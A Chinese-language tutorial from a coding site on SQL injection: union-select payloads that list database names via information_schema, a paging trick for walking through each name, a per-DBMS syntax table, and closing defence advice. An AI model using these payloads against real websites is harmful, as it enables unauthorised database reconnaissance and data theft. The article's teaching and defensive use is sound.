首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 更多程式語言 >> 更多程式設計知識

SQL 注入爆破資料庫名 Payload:利用 information_schema.tables

     編輯:更多程式設計知識

    ⚠️ 安全警示

    本文僅供授權滲透測試、安全研究參考。未經許可測試他人系統屬違法,嚴禁非法使用。

    核心 Payload(SQL Server / Access)

    union select top 1 table_name from information_schema.tables where table_catalog

    原理解析

    • information_schema.tables 記錄當前資料庫實例所有資料庫的表資訊。
    • table_catalog 欄位儲存資料庫名稱(Catalog 名)。
    • 配合 TOP 1 配合排序或條件逐行提取資料庫名。

    進階:遍歷所有資料庫名

    同字段爆破邏輯,利用巢狀 TOP N ... ORDER BY ... DESC 實現分頁:

    -- 取第 1 個資料庫
    union select top 1 table_catalog from information_schema.tables
    
    -- 取第 2 個資料庫
    union select top 1 table_catalog from (
        select top 2 table_catalog from information_schema.tables order by table_catalog
    ) t order by table_catalog desc
    
    -- 取第 k 個:內層 top k,外層 top 1 desc

    不同資料庫方言對照

    DBMS系統表/視圖資料庫名欄位分頁語法
    MySQLinformation_schema.SCHEMATASCHEMA_NAMELIMIT offset, 1
    PostgreSQLpg_databasedatnameLIMIT 1 OFFSET k
    Oraclev$pdbs (12c+) / global_namename / global_nameROWNUM 子查詢
    SQL Serversys.databases / information_schema.tablesname / table_catalogTOP 1 ... ORDER BY ... OFFSET ... ROWS (2012+)

    防禦建議

    • 參數化查詢徹底消除注入面。
    • 資料庫帳號最小權限,移除 public 對系統視圖的 SELECT 權限。
    • 錯誤資訊不外露,統一錯誤頁面。
    • WAF 規則攔截 union select、information_schema 等特徵。

    結語

    爆庫是注入利用鏈的第一步,掌握各 DBMS 系統表結構與分頁語法,能快速評估攻擊面。實戰請務必在授權範圍內進行,並優先推薦參數化修復根因。

    1. 上一篇文章:
    2. 下一篇文章:
    Copyright © 程式碼之家 All Rights Reserved